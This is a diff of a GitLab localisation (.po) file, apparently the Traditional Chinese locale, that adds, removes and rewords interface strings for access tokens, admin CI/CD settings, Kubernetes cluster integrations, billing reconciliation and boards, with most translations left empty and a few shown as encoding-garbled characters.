msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1654,13 +1654,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1678,16 +1678,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1807,6 +1807,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1816,6 +1819,9 @@ msgstr "å° %{noteable_name} 新增一般留言。"
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1879,6 +1885,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2005,6 +2014,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2239,9 +2251,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2254,19 +2263,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2278,7 +2290,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2287,10 +2299,7 @@ msgstr "為æ¯å€‹é …目的自動複閱應用åŠè‡ªå‹•éƒ¨ç½²æŒ‡å®šä¸€å€‹é è¨­çš„
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2701,9 +2710,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2921,12 +2942,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3053,9 +3080,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3122,6 +3146,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3281,9 +3308,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3356,9 +3380,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr "切æ›è¨‚閱通知時發生錯誤"
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr "更新議題權é‡æ™‚發生錯誤"
@@ -3410,6 +3431,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3500,6 +3524,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr "讀å–專案時發生錯誤"
@@ -3656,9 +3683,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -3935,9 +3959,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4023,15 +4044,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4415,9 +4430,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4605,9 +4617,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -4995,6 +5004,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5135,6 +5147,9 @@ msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5193,6 +5208,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5223,6 +5241,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5445,6 +5466,9 @@ msgstr ""
msgid "Browse files"
msgstr "ç€è¦½æ–‡ä»¶"
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5613,6 +5637,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5659,10 +5686,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5707,6 +5734,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5830,9 +5860,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -5938,15 +5965,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6223,6 +6250,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6325,9 +6355,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6355,6 +6382,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6784,9 +6814,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6796,24 +6823,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6847,15 +6862,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6868,9 +6874,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -6892,9 +6895,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -6913,15 +6913,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -6943,9 +6934,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -6958,15 +6946,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6988,15 +6973,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7045,12 +7021,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7066,9 +7036,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7084,9 +7051,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7129,27 +7093,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7177,9 +7126,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7189,18 +7135,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7222,39 +7156,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7288,9 +7192,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7339,12 +7240,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7387,9 +7282,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7399,15 +7291,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7444,24 +7327,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7474,9 +7339,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7525,15 +7387,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7558,9 +7414,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7579,27 +7432,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7609,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7657,9 +7477,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7681,21 +7498,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7720,27 +7525,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7756,12 +7546,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7834,6 +7618,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7849,9 +7636,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8147,9 +7940,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8186,9 +7976,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8207,42 +7994,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
